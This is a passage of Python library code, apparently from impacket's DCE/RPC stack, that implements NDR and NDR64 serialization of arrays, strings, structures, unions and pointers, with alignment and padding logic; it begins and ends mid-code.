'%s | %s' in %s\" % (fieldName, fieldTypeOrClass, self.__class__))\n                raise\n\n        return data\n\n    def calcPackSize(self, fieldTypeOrClass, data):\n        if isinstance(fieldTypeOrClass, str) is False:\n            return len(data)\n\n        # array specifier\n        two = fieldTypeOrClass.split('*')\n        if len(two) == 2:\n            answer = 0\n            for each in data:\n                if self.isNDR(self.item):\n                    item = ':'\n                else:\n                    item = self.item\n                answer += self.calcPackSize(item, each)\n            return answer\n        else:\n            return NDR.calcPackSize(self, fieldTypeOrClass, data)\n\n    def getArrayMaximumSize(self, fieldName):\n        if self.fields[fieldName].fields['MaximumCount'] is not None and self.fields[fieldName].fields['MaximumCount'] > 0:\n            return self.fields[fieldName].fields['MaximumCount']\n        else:\n            return self.fields[fieldName].getArraySize()\n\n    def getArraySize(self, fieldName, data, offset=0):\n        if self._isNDR64:\n            arrayItemSize = 8\n            arrayUnPackStr = '<Q'\n        else:\n            arrayItemSize = 4\n            arrayUnPackStr = '<L'\n\n        pad = (arrayItemSize - (offset % arrayItemSize)) % arrayItemSize\n        offset += pad\n\n        if isinstance(self.fields[fieldName], NDRUniConformantArray):\n            # Array Size is at the very beginning\n            arraySize = unpack_from(arrayUnPackStr, data, offset)[0]\n        elif isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):\n            # NDRUniConformantVaryingArray Array\n            # Unpack the Maximum Count\n            maximumCount = unpack_from(arrayUnPackStr, data, offset)[0]\n            # Let's store the Maximum Count for later use\n            self.fields[fieldName].fields['MaximumCount'] = maximumCount\n            # Unpack the Actual Count\n            arraySize = unpack_from(arrayUnPackStr, data, offset+arrayItemSize*2)[0]\n        else:\n            # NDRUniVaryingArray Array\n            arraySize = unpack_from(arrayUnPackStr, data, offset+arrayItemSize)[0]\n\n        return arraySize, arrayItemSize+pad\n\n    def fromStringReferents(self, data, offset=0):\n        offset0 = offset\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:\n            if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):\n                offset += self.fields[fieldName].fromStringReferents(data, offset)\n                offset += self.fields[fieldName].fromStringReferent(data, offset)\n        return offset - offset0\n\n    def fromStringReferent(self, data, offset=0):\n        if hasattr(self, 'referent') is not True:\n            return 0\n\n        offset0 = offset\n\n        if 'ReferentID' in self.fields:\n            if self['ReferentID'] == 0:\n                # NULL Pointer, there's no referent for it\n                return 0\n\n        for fieldName, fieldTypeOrClass in self.referent:\n            try:\n                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):\n                    # Get the array size\n                    arraySize, advanceStream = self.getArraySize(fieldName, data, offset)\n                    offset += advanceStream\n\n                    # Let's tell the array how many items are available\n                    self.fields[fieldName].setArraySize(arraySize)\n                    size = self.fields[fieldName].fromString(data, offset)\n                else:\n                    # ToDo: Align only if not NDR\n                    offset += self.calculatePad(fieldTypeOrClass, offset)\n\n                    size = self.unpack(fieldName, fieldTypeOrClass, data, offset)\n\n                if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE):\n                    size += self.fields[fieldName].fromStringReferents(data, offset+size)\n                    size += self.fields[fieldName].fromStringReferent(data, offset+size)\n                offset += size\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error unpacking field '%s | %s | %r'\" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))\n                raise\n\n        return offset-offset0\n\n    def calcUnPackSize(self, fieldTypeOrClass, data, offset=0):\n        if isinstance(fieldTypeOrClass, str) is False:\n            return len(data) - offset\n\n        two = fieldTypeOrClass.split('*')\n        if len(two) == 2:\n            return len(data) - offset\n        else:\n            return NDR.calcUnPackSize(self, fieldTypeOrClass, data, offset)\n\n# Uni-dimensional Fixed Arrays\nclass NDRArray(NDRCONSTRUCTEDTYPE):\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        ind = ' '*indent\n        if msg != '':\n            print(msg, end=' ')\n\n        if isinstance(self['Data'], list):\n            print(\"\\n%s[\" % ind)\n            ind += ' '*4\n            for num,j in enumerate(self.fields['Data']):\n               if isinstance(j, NDR):\n                   j.dump('%s' % ind, indent = indent + 4),\n                   print(\",\") \n               else:\n                   print(\"%s %r,\" % (ind,j))\n            print(\"%s]\" % ind[:-4], end=' ')\n        else:\n            print(\" %r\" % self['Data'], end=' ')\n\n    def setArraySize(self, size):\n        self.arraySize = size\n\n    def getArraySize(self):\n        return self.arraySize\n\n    def changeTransferSyntax(self, newSyntax): \n        # Here we gotta go over each item in the array and change the TS \n        # Only if the item type is NDR\n        if hasattr(self, 'item') and self.item is not None:\n            if self.isNDR(self.item):\n                for item in self.fields['Data']:\n                    item.changeTransferSyntax(newSyntax)\n        return NDRCONSTRUCTEDTYPE.changeTransferSyntax(self, newSyntax)\n\n    def getAlignment(self):\n        # Array alignment is the largest alignment of the array element type and \n        # the size information type, if any.\n        align = 0\n        # And now the item\n        if hasattr(self, \"item\") and self.item is not None:\n            if self.isNDR(self.item):\n                tmpAlign = self.item().getAlignment()\n            else:\n                tmpAlign = self.calcPackSize(self.item, b'')\n            if tmpAlign > align:\n                align = tmpAlign\n        return align\n\n    def getData(self, soFar = 0):\n        data = b''\n        soFar0 = soFar\n        for fieldName, fieldTypeOrClass in self.structure:\n            try:\n                if self.isNDR(fieldTypeOrClass) is False:\n                    # If the item is not NDR (e.g. ('MaximumCount', '<L=len(Data)'))\n                    # we have to align it\n                    pad = self.calculatePad(fieldTypeOrClass, soFar)\n                    if pad > 0:\n                        soFar += pad\n                        data += b'\\xca'*pad\n\n                res = self.pack(fieldName, fieldTypeOrClass, soFar)\n                data += res\n                soFar = soFar0 + len(data)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error packing field '%s | %s' in %s\" % (fieldName, fieldTypeOrClass, self.__class__))\n                raise\n\n        return data\n\n    def pack(self, fieldName, fieldTypeOrClass, soFar = 0):\n        # array specifier\n        two = fieldTypeOrClass.split('*')\n        if len(two) == 2:\n            answer = b''\n            if self.isNDR(self.item):\n                item = ':'\n                dataClass = self.item\n                self.fields['_tmpItem'] = dataClass(isNDR64=self._isNDR64)\n            else:\n                item = self.item\n                dataClass = None\n                self.fields['_tmpItem'] = item\n\n            for each in (self.fields[fieldName]):\n                pad = self.calculatePad(self.item, len(answer)+soFar)\n                if pad > 0:\n                    answer += b'\\xdd' * pad\n                if dataClass is None:\n                    if item == 'c' and PY3 and isinstance(each, int):\n                        # Special case when dealing with PY3, here we have an integer we need to convert\n                        each = bytes([each])\n                    answer += pack(item, each)\n                else:\n                    answer += each.getData(len(answer)+soFar)\n\n            if dataClass is not None:\n                for each in self.fields[fieldName]:\n                    if isinstance(each, NDRCONSTRUCTEDTYPE):\n                        answer += each.getDataReferents(len(answer)+soFar)\n                        answer += each.getDataReferent(len(answer)+soFar)\n\n            del(self.fields['_tmpItem'])\n            if isinstance(self, NDRUniConformantArray) or isinstance(self, NDRUniConformantVaryingArray):\n                # First field points to a field with the amount of items\n                self.setArraySize(len(self.fields[fieldName]))\n            else:\n                self.fields[two[1]] = len(self.fields[fieldName])\n\n            return answer\n        else:\n            return NDRCONSTRUCTEDTYPE.pack(self, fieldName, fieldTypeOrClass, soFar)\n\n    def fromString(self, data, offset=0):\n        offset0 = offset\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:\n            try:\n                if self.isNDR(fieldTypeOrClass) is False:\n                    # If the item is not NDR (e.g. ('MaximumCount', '<L=len(Data)'))\n                    # we have to align it\n                    offset += self.calculatePad(fieldTypeOrClass, offset)\n\n                size = self.unpack(fieldName, fieldTypeOrClass, data, offset)\n                offset += size\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error unpacking field '%s | %s | %r'\" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))\n                raise\n        return offset - offset0\n\n    def unpack(self, fieldName, fieldTypeOrClass, data, offset=0):\n        # array specifier\n        two = fieldTypeOrClass.split('*')\n        answer = []\n        soFarItems = 0\n        offset0 = offset\n        if len(two) == 2:\n            if isinstance(self, NDRUniConformantArray):\n                # First field points to a field with the amount of items\n                numItems = self.getArraySize()\n            elif isinstance(self, NDRUniConformantVaryingArray):\n                # In this case we have the MaximumCount but it could be different from the ActualCount.\n                # Let's make the unpack figure this out.\n                #self.fields['MaximumCount'] = self.getArraySize()\n                numItems = self[two[1]]\n            else:\n                numItems = self[two[1]]\n\n            # The item type is determined by self.item\n            if self.isNDR(self.item):\n                item = ':'\n                dataClassOrCode = self.item\n                self.fields['_tmpItem'] = dataClassOrCode(isNDR64=self._isNDR64)\n            else:\n                item = self.item\n                dataClassOrCode = None\n                self.fields['_tmpItem'] = item\n\n            nsofar = 0\n            while numItems and soFarItems < len(data) - offset:\n                pad = self.calculatePad(self.item, soFarItems+offset)\n                if pad > 0:\n                    soFarItems +=pad\n                if dataClassOrCode is None:\n                    nsofar = soFarItems + calcsize(item)\n                    answer.append(unpack_from(item, data, offset+soFarItems)[0])\n                else:\n                    itemn = dataClassOrCode(isNDR64=self._isNDR64)\n                    size = itemn.fromString(data, offset+soFarItems)\n                    answer.append(itemn)\n                    nsofar += size + pad\n                numItems -= 1\n                soFarItems = nsofar\n\n            if dataClassOrCode is not None and isinstance(dataClassOrCode(), NDRCONSTRUCTEDTYPE):\n                # We gotta go over again, asking for the referents\n                answer2 = []\n                for itemn in answer:\n                    size = itemn.fromStringReferents(data, soFarItems+offset)\n                    soFarItems += size\n                    size = itemn.fromStringReferent(data, soFarItems+offset)\n                    soFarItems += size\n                    answer2.append(itemn)\n                answer = answer2\n                del answer2\n\n            del(self.fields['_tmpItem'])\n\n            self.fields[fieldName] = answer\n            return soFarItems + offset - offset0\n        else:\n            return NDRCONSTRUCTEDTYPE.unpack(self, fieldName, fieldTypeOrClass, data, offset)\n\nclass NDRUniFixedArray(NDRArray):\n    structure = (\n        ('Data',':'),\n    )\n\n# Uni-dimensional Conformant Arrays\nclass NDRUniConformantArray(NDRArray):\n    item = 'c'\n    structure = (\n        #('MaximumCount', '<L=len(Data)'),\n        ('Data', '*MaximumCount'),\n    )\n\n    structure64 = (\n        #('MaximumCount', '<Q=len(Data)'),\n        ('Data', '*MaximumCount'),\n    )\n\n    def __init__(self, data = None, isNDR64 = False):\n        NDRArray.__init__(self, data, isNDR64)\n        # Let's store the hidden MaximumCount field\n        self.fields['MaximumCount'] = 0\n\n    def __setitem__(self, key, value):\n        self.fields['MaximumCount'] = None\n        return NDRArray.__setitem__(self, key, value)\n\n\n# Uni-dimensional Varying Arrays\nclass NDRUniVaryingArray(NDRArray):\n    item = 'c'\n    structure = (\n        ('Offset','<L=0'),\n        ('ActualCount','<L=len(Data)'),\n        ('Data','*ActualCount'),\n    )\n    structure64 = (\n        ('Offset','<Q=0'),\n        ('ActualCount','<Q=len(Data)'),\n        ('Data','*ActualCount'),\n    )\n\n    def __setitem__(self, key, value):\n        self.fields['ActualCount'] = None\n        return NDRArray.__setitem__(self, key, value)\n\n# Uni-dimensional Conformant-varying Arrays\nclass NDRUniConformantVaryingArray(NDRArray):\n    item = 'c'\n    commonHdr = (\n        #('MaximumCount', '<L=len(Data)'),\n        ('Offset','<L=0'),\n        ('ActualCount','<L=len(Data)'),\n    )\n    commonHdr64 = (\n        #('MaximumCount', '<Q=len(Data)'),\n        ('Offset','<Q=0'),\n        ('ActualCount','<Q=len(Data)'),\n    )\n\n    structure = (\n        ('Data','*ActualCount'),\n    )\n\n    def __init__(self, data = None, isNDR64 = False):\n        NDRArray.__init__(self, data, isNDR64)\n        # Let's store the hidden MaximumCount field\n        self.fields['MaximumCount'] = 0\n\n    def __setitem__(self, key, value):\n        self.fields['MaximumCount'] = None\n        self.fields['ActualCount'] = None\n        return NDRArray.__setitem__(self, key, value)\n\n    def getData(self, soFar = 0):\n        data = b''\n        soFar0 = soFar\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:\n            try:\n                pad = self.calculatePad(fieldTypeOrClass, soFar)\n                if pad > 0:\n                    soFar += pad\n                    data += b'\\xcb'*pad\n\n                res = self.pack(fieldName, fieldTypeOrClass, soFar)\n                data += res\n                soFar = soFar0 + len(data)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error packing field '%s | %s' in %s\" % (fieldName, fieldTypeOrClass, self.__class__))\n                raise\n\n        return data\n\n# Multidimensional arrays not implemented for now\n\n# Varying Strings\nclass NDRVaryingString(NDRUniVaryingArray):\n    def getData(self, soFar = 0):\n        # The last element of a string is a terminator of the same size as the other elements. \n        # If the string element size is one octet, the terminator is a NULL character. \n        # The terminator for a string of multi-byte characters is the array element zero (0).\n        if self[\"Data\"][-1:] != b'\\x00':\n            if PY3 and isinstance(self[\"Data\"],list) is False:\n                self[\"Data\"] = self[\"Data\"] + b'\\x00'\n            else:\n                self[\"Data\"] = b''.join(self[\"Data\"]) + b'\\x00'\n        return NDRUniVaryingArray.getData(self, soFar)\n\n    def fromString(self, data, offset = 0):\n        ret = NDRUniVaryingArray.fromString(self, data, offset)\n        # Let's take out the last item\n        self[\"Data\"] = self[\"Data\"][:-1] \n        return ret\n\n# Conformant and Varying Strings\nclass NDRConformantVaryingString(NDRUniConformantVaryingArray):\n    pass\n\n# Structures\n# Structures Containing a Conformant Array \n# Structures Containing a Conformant and Varying Array \nclass NDRSTRUCT(NDRCONSTRUCTEDTYPE):\n    def getData(self, soFar = 0):\n        data = b''\n        arrayPadding = b''\n        soFar0 = soFar\n        # 14.3.7.1 Structures Containing a Conformant Array\n        # A structure can contain a conformant array only as its last member.\n        # In the NDR representation of a structure that contains a conformant array, \n        # the unsigned long integers that give maximum element counts for dimensions of the array \n        # are moved to the beginning of the structure, and the array elements appear in place at \n        # the end of the structure.\n        # 14.3.7.2 Structures Containing a Conformant and Varying Array\n        # A structure can contain a conformant and varying array only as its last member.\n        # In the NDR representation of a structure that contains a conformant and varying array, \n        # the maximum counts for dimensions of the array are moved to the beginning of the structure, \n        # but the offsets and actual counts remain in place at the end of the structure, \n        # immediately preceding the array elements\n        lastItem = (self.commonHdr+self.structure)[-1][0]\n        if isinstance(self.fields[lastItem], NDRUniConformantArray) or isinstance(self.fields[lastItem], NDRUniConformantVaryingArray):\n            # So we have an array, first item in the structure must be the array size, although we\n            # will need to build it later.\n            if self._isNDR64:\n                arrayItemSize = 8\n                arrayPackStr = '<Q'\n            else:\n                arrayItemSize = 4\n                arrayPackStr = '<L'\n\n            # The size information is itself aligned according to the alignment rules for \n            # primitive data types. (See Section 14.2.2 on page 620.) The data of the constructed \n            # type is then aligned according to the alignment rules for the constructed type. \n            # In other words, the size information precedes the structure and is aligned \n            # independently of the structure alignment.\n            # We need to check whether we need padding or not\n            pad0 = (arrayItemSize - (soFar % arrayItemSize)) % arrayItemSize \n            if pad0 > 0:\n                soFar += pad0\n                arrayPadding = b'\\xee'*pad0\n            else:\n                arrayPadding = b''\n            # And now, let's pretend we put the item in\n            soFar += arrayItemSize\n        else:\n            arrayItemSize = 0\n\n        # Now we need to align the structure \n        # The alignment of a structure in the octet stream is the largest of the alignments of the fields it\n        # contains. These fields may also be constructed types. The same alignment rules apply \n        # recursively to nested constructed types.\n        alignment = self.getAlignment()\n\n        if alignment > 0:\n            pad = (alignment - (soFar % alignment)) % alignment\n            if pad > 0:\n                soFar += pad\n                data += b'\\xAB'*pad\n\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure:\n            try:\n                if isinstance(self.fields[fieldName], NDRUniConformantArray) or isinstance(self.fields[fieldName], NDRUniConformantVaryingArray):\n                    res = self.fields[fieldName].getData(soFar)\n                    if isinstance(self, NDRPOINTER):\n                        pointerData = data[:arrayItemSize]\n                        data = data[arrayItemSize:]\n                        data = pointerData + arrayPadding + pack(arrayPackStr ,self.getArrayMaximumSize(fieldName)) + data\n                    else:\n                        data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data\n                    arrayPadding = b''\n                    arrayItemSize = 0\n                else:\n                    res = self.pack(fieldName, fieldTypeOrClass, soFar)\n                data += res\n                soFar = soFar0 + len(data) + len(arrayPadding) + arrayItemSize\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error packing field '%s | %s' in %s\" % (fieldName, fieldTypeOrClass, self.__class__))\n                raise\n\n        # 2.2.5.3.4.1 Structure with Trailing Gap\n        # NDR64 represents a structure as an ordered sequence of representations of the\n        # structure members. The trailing gap from the last nonconformant and nonvarying\n        # field to the alignment of the structure MUST be represented as a trailing pad.\n        # The size of the structure MUST be a multiple of its alignment.\n        # See the following figure.\n\n        # 4.8 Example of Structure with Trailing Gap in NDR64\n        # This example shows a structure with a trailing gap in NDR64.\n        #     typedef struct _StructWithPad\n        #     {\n        #         long l;\n        #         short s;\n        #     } StructWithPad;\n        # The size of the structure in the octet stream MUST contain a 2-byte trailing\n        # gap to make its size 8, a multiple of the structure's alignment, 4.\n#        if self._isNDR64 is True:\n#            # ToDo add trailing gap here\n#            if alignment > 0:\n#                pad = (alignment - (soFar % alignment)) % alignment\n#                if pad > 0:\n#                    soFar += pad\n#                    data += '\\xcd'*pad\n#            print self.__class__ , alignment, pad, hex(soFar)\n        return data\n\n    def fromString(self, data, offset = 0 ):\n        offset0 = offset\n        # 14.3.7.1 Structures Containing a Conformant Array\n        # A structure can contain a conformant array only as its last member.\n        # In the NDR representation of a structure that contains a conformant array, \n        # the unsigned long integers that give maximum element counts for dimensions of the array \n        # are moved to the beginning of the structure, and the array elements appear in place at \n        # the end of the structure.\n        # 14.3.7.2 Structures Containing a Conformant and Varying Array\n        # A structure can contain a conformant and varying array only as its last member.\n        # In the NDR representation of a structure that contains a conformant and varying array, \n        # the maximum counts for dimensions of the array are moved to the beginning of the structure, \n        # but the offsets and actual counts remain in place at the end of the structure, \n        # immediately preceding the array elements\n        lastItem = (self.commonHdr+self.structure)[-1][0]\n\n        # If it's a pointer, let's parse it here because\n        # we are going to parse the next MaximumCount field(s) manually\n        # when it's a Conformant or Conformant and Varying array\n        if isinstance(self, NDRPOINTER):\n            structureFields = self.structure\n\n            alignment = self.getAlignment()\n            if alignment > 0:\n                offset += (alignment - (offset % alignment)) % alignment\n\n            for fieldName, fieldTypeOrClass in self.commonHdr:\n                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)\n        else:\n            structureFields = self.commonHdr+self.structure\n\n        if isinstance(self.fields[lastItem], NDRUniConformantArray) or isinstance(self.fields[lastItem], NDRUniConformantVaryingArray):\n            # So we have an array, first item in the structure must be the array size, although we\n            # will need to build it later.\n            if self._isNDR64:\n                arrayItemSize = 8\n                arrayUnPackStr = '<Q'\n            else:\n                arrayItemSize = 4\n                arrayUnPackStr = '<L'\n\n            # The size information is itself aligned according to the alignment rules for\n            # primitive data types. (See Section 14.2.2 on page 620.) The data of the constructed \n            # type is then aligned according to the alignment rules for the constructed type. \n            # In other words, the size information precedes the structure and is aligned \n            # independently of the structure alignment.\n            # We need to check whether we need padding or not\n            offset += (arrayItemSize - (offset % arrayItemSize)) % arrayItemSize\n\n            # And let's extract the array size for later use\n            if isinstance(self.fields[lastItem], NDRUniConformantArray):\n                # NDRUniConformantArray\n                arraySize = unpack_from(arrayUnPackStr, data, offset)[0]\n                self.fields[lastItem].setArraySize(arraySize)\n            else:\n                # NDRUniConformantVaryingArray\n                maximumCount = unpack_from(arrayUnPackStr, data, offset)[0]\n                self.fields[lastItem].fields['MaximumCount'] = maximumCount\n\n            offset += arrayItemSize\n\n        # Now we need to align the structure\n        # The alignment of a structure in the octet stream is the largest of the alignments of the fields it\n        # contains. These fields may also be constructed types. The same alignment rules apply \n        # recursively to nested constructed types.\n        alignment = self.getAlignment()\n        if alignment > 0:\n            offset += (alignment - (offset % alignment)) % alignment\n\n        for fieldName, fieldTypeOrClass in structureFields:\n            try:\n                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error unpacking field '%s | %s | %r'\" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))\n                raise\n\n        return offset - offset0\n\n    def getAlignment(self):\n        # Alignment of Constructed Types\n        #\n        # NDR enforces NDR alignment of structured data. As with primitive data types, an alignment, n, is determined\n        # for the structure. Where necessary, an alignment gap of octets of unspecified value precedes the data in\n        # the NDR octet stream. This gap is the smallest size sufficient to align the first field of the structure\n        # on an NDR octet stream index of n.\n\n        # The rules for calculating the alignment of constructed types are as follows:\n\n        # 1) If a conformant structure-that is, a conformant or conformant varying array, or a structure containing\n        # a conformant or conformant varying array-is embedded in the constructed type, and is the outermost\n        # structure-that is, is not contained in another structure-then the size information from the contained\n        # conformant structure is positioned so that it precedes both the containing constructed type and any\n        # alignment gap for the constructed type. (See Section 14.3.7 for information about structures containing\n        # arrays.) The size information is itself aligned according to the alignment rules for primitive data\n        # types. (See Section 14.2.2 on page 620.) The data of the constructed type is then aligned according to\n        # the alignment rules for the constructed type. In other words, the size information precedes the structure\n        # and is aligned independently of the structure alignment.\n\n        # 2) The alignment of a structure in the octet stream is the largest of the alignments of the fields it\n        # contains. These fields may also be constructed types. The same alignment rules apply recursively to nested\n        # constructed types.\n\n        align = 0\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:\n            if isinstance(self.fields[fieldName], NDR):\n                tmpAlign = self.fields[fieldName].getAlignment()\n            else:\n                tmpAlign = self.calcPackSize(fieldTypeOrClass, b'')\n            if tmpAlign > align:\n                align = tmpAlign\n        return align\n\n# Unions \nclass NDRUNION(NDRCONSTRUCTEDTYPE):\n    commonHdr = (\n        ('tag', NDRUSHORT),\n    )\n    commonHdr64 = (\n        ('tag', NDRULONG),\n    )\n   \n    union = {\n        # For example\n        #1: ('pStatusChangeParam1', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_1),\n        #2: ('pStatusChangeParams', PSERVICE_NOTIFY_STATUS_CHANGE_PARAMS_2),\n    }\n    def __init__(self, data = None, isNDR64=False, topLevel = False):\n        #ret = NDR.__init__(self,None, isNDR64=isNDR64)\n        self.topLevel = topLevel\n        self._isNDR64 = isNDR64\n        self.fields = {}\n\n        if isNDR64 is True:\n            if self.commonHdr64 != ():\n                self.commonHdr = self.commonHdr64\n            if self.structure64 != ():\n                self.structure = self.structure64\n            if hasattr(self, 'align64'):\n                self.align = self.align64\n\n        for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent:\n            if self.isNDR(fieldTypeOrClass):\n               if self.isPointer(fieldTypeOrClass):\n                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = topLevel)\n               elif self.isUnion(fieldTypeOrClass):\n                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64, topLevel = topLevel)\n               else:\n                   self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64)\n            elif fieldTypeOrClass == ':':\n               self.fields[fieldName] = None\n            elif len(fieldTypeOrClass.split('=')) == 2: \n               try:\n                   self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1])\n               except:\n                   self.fields[fieldName] = None\n            else:\n               self.fields[fieldName] = 0\n\n        if data is not None:\n            self.fromString(data)\n\n    def __setitem__(self, key, value):\n        if key == 'tag':\n            # We're writing the tag, we now should set the right item for the structure\n            self.structure = ()\n            if value in self.union:\n                self.structure = (self.union[value]),\n                # Init again the structure\n                self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)\n                self.fields['tag']['Data'] = value\n            else:\n                # Let's see if we have a default value\n                if 'default' in self.union:\n                    if self.union['default'] is None:\n                        self.structure = ()\n                    else:\n                        self.structure = (self.union['default']),\n                        # Init again the structure\n                        self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)\n                    self.fields['tag']['Data'] = 0xffff\n                else:\n                    raise Exception(\"Unknown tag %d for union!\" % value)\n        else:\n            return NDRCONSTRUCTEDTYPE.__setitem__(self,key,value)\n\n    def getData(self, soFar = 0):\n        data = b''\n        soFar0 = soFar\n\n        # Let's align ourselves\n        alignment = self.getAlignment()\n        if alignment > 0:\n            pad = (alignment - (soFar % alignment)) % alignment\n        else:\n            pad = 0\n        if pad > 0:\n            soFar += pad\n            data += b'\\xbc'*pad\n\n        for fieldName, fieldTypeOrClass in self.commonHdr:\n            try:\n                pad = self.calculatePad(fieldTypeOrClass, soFar)\n                if pad > 0:\n                    soFar += pad\n                    data += b'\\xbb'*pad\n\n                res = self.pack(fieldName, fieldTypeOrClass, soFar)\n                data += res\n                soFar = soFar0 + len(data)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error packing field '%s | %s' in %s\" % (fieldName, fieldTypeOrClass, self.__class__))\n                raise\n\n        # WARNING\n        # Now we need to align what's coming next.\n        # This doesn't come from the documentation but from seeing the packets in the wire\n        # for some reason, even if the next field is a SHORT, it should be aligned to\n        # a DWORD, or HYPER if NDR64. \n        if self._isNDR64:\n            align = 8\n        else:\n            if hasattr(self, 'notAlign'):\n                align = 1\n            else:\n                align = 4\n\n        pad = (align - (soFar % align)) % align\n        if pad > 0:\n            data += b'\\xbd'*pad\n            soFar += pad\n\n        if self.structure == ():\n            return data\n\n        for fieldName, fieldTypeOrClass in self.structure:\n            try:\n                pad = self.calculatePad(fieldTypeOrClass, soFar)\n                if pad > 0:\n                    soFar += pad\n                    data += b'\\xbe'*pad\n\n                res = self.pack(fieldName, fieldTypeOrClass, soFar)\n                data += res\n                soFar = soFar0 + len(data)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error packing field '%s | %s' in %s\" % (fieldName, fieldTypeOrClass, self.__class__))\n                raise\n\n        return data\n\n    def fromString(self, data, offset=0):\n        offset0 = offset\n        # Let's align ourselves\n        alignment = self.getAlignment()\n        if alignment > 0:\n            pad = (alignment - (offset % alignment)) % alignment\n        else:\n            pad = 0\n        if pad > 0:\n            offset += pad\n\n        if len(data)-offset > 4:\n            # First off, let's see what the tag is:\n            # We need to know the tag type and unpack it\n            tagtype = self.commonHdr[0][1].structure[0][1].split('=')[0]\n            tag = unpack_from(tagtype, data, offset)[0]\n            if tag in self.union:\n                self.structure = (self.union[tag]),\n                self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)\n            else:\n                # Let's see if we have a default value\n                if 'default' in self.union:\n                    if self.union['default'] is None:\n                        self.structure = ()\n                    else:\n                        self.structure = (self.union['default']),\n                        # Init again the structure\n                        self.__init__(None, isNDR64=self._isNDR64, topLevel = self.topLevel)\n                    self.fields['tag']['Data'] = 0xffff\n                else:\n                    raise Exception(\"Unknown tag %d for union!\" % tag)\n\n        for fieldName, fieldTypeOrClass in self.commonHdr:\n            try:\n                offset += self.calculatePad(fieldTypeOrClass, offset)\n                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error unpacking field '%s | %s | %r'\" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))\n                raise\n\n        # WARNING\n        # Now we need to align what's coming next.\n        # This doesn't come from the documentation but from seeing the packets in the wire\n        # for some reason, even if the next field is a SHORT, it should be aligned to\n        # a DWORD, or HYPER if NDR64. \n        if self._isNDR64:\n            align = 8\n        else:\n            if hasattr(self, 'notAlign'):\n                align = 1\n            else:\n                align = 4\n\n        offset += (align - (offset % align)) % align\n\n        if self.structure == ():\n            return offset-offset0\n\n        for fieldName, fieldTypeOrClass in self.structure:\n            try:\n                offset += self.calculatePad(fieldTypeOrClass, offset)\n                offset += self.unpack(fieldName, fieldTypeOrClass, data, offset)\n            except Exception as e:\n                LOG.error(str(e))\n                LOG.error(\"Error unpacking field '%s | %s | %r'\" % (fieldName, fieldTypeOrClass, data[offset:offset+256]))\n                raise\n\n        return offset - offset0\n\n    def getAlignment(self):\n        # Union alignment is the largest alignment of the union discriminator \n        # and all of the union arms.\n        # WRONG, I'm calculating it just with the tag, if I do it with the \n        # arms I get bad stub data. Something wrong I'm doing or the standard\n        # is wrong (most probably it's me :s )\n        align = 0\n        if self._isNDR64:\n            fields =  self.commonHdr+self.structure\n        else: \n            fields =  self.commonHdr\n        for fieldName, fieldTypeOrClass in fields:\n            if isinstance(self.fields[fieldName], NDR):\n                tmpAlign = self.fields[fieldName].getAlignment()\n            else:\n                tmpAlign = self.calcPackSize(fieldTypeOrClass, b'')\n            if tmpAlign > align:\n                align = tmpAlign\n\n        if self._isNDR64:\n            for fieldName, fieldTypeOrClass in self.union.values():\n                tmpAlign = fieldTypeOrClass(isNDR64 = self._isNDR64).getAlignment()\n                if tmpAlign > align:\n                    align = tmpAlign\n        return align\n   \n# Pipes not implemented for now\n\n# Pointers\nclass NDRPOINTERNULL(NDR):\n    align = 4\n    align64 = 8\n    structure = (\n        ('Data', '<L=0'),\n    )\n    structure64 = (\n        ('Data', '<Q=0'),\n    )\n\n    def dump(self, msg = None, indent = 0):\n        if msg is None:\n            msg = self.__class__.__name__\n        if msg != '':\n            print(\"%s\" % msg, end=' ')\n        # Here we just print NULL\n        print(\" NULL\", end=' ')\n\nNULL = NDRPOINTERNULL()\n\nclass NDRPOINTER(NDRSTRUCT):\n    align = 4\n    align64 = 8\n    commonHdr = (\n        ('ReferentID','<L=0xff'),\n    )\n    commonHdr64 = (\n        ('ReferentID','<Q=0xff'),\n    )\n\n    referent = (\n        # This is the representation of the Referent\n        ('Data',':'),\n    )\n    def __init__(self, data = None, isNDR64=False, topLevel = False):\n        NDRSTRUCT.__init__(self,None, isNDR64=isNDR64)\n        # If we are being called from a NDRCALL, it's a TopLevelPointer,\n        # if not, it's a embeeded pointer.\n        # It is *very* important, for every subclass of NDRPointer\n        # you have to declare the referent in the referent variable\n        # Not in the structure one!\n        if topLevel is True:\n            self.structure = self.referent\n            self.referent = ()\n       \n        if data is 